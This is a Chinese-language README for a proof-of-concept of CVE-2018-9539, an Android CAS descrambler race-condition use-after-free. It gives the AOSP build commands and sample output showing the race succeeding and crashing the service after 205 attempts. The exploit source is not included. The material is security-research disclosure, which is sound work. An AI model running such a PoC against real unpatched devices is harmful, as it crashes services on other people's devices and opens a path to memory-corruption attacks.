CVE-2018-9539 的概念验证代码
如有任何问题，欢迎通过 Twitter 私信我（@tamir_zb）。
要构建此项目：
AOSP/external。cd AOSP
source build/envsetup.sh
make cas_race_uaf
在未修补的 Android 版本（2018 年 11 月之前的 8.1-9.0）上运行此 PoC 应会导致释放后使用（use-after-free）。请注意，此 PoC 并非真正打算在 Android 8.1 上运行，因为它期望 UaF 会使服务崩溃，而这仅在 Android 9.0 中发生，因此在 Android 8.1 上运行此 PoC 将导致无限循环。
以下是在 Android 9.0 上运行此 PoC 的示例输出：
Objects prepared
Attempt #1:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #1 failed, retrying...
Attempt #2:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #2 failed, retrying...
...
...
...
Attempt #204:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #204 failed, retrying...
Attempt #205:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session1
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: CRASHED :)
Succeeded in 205 attempts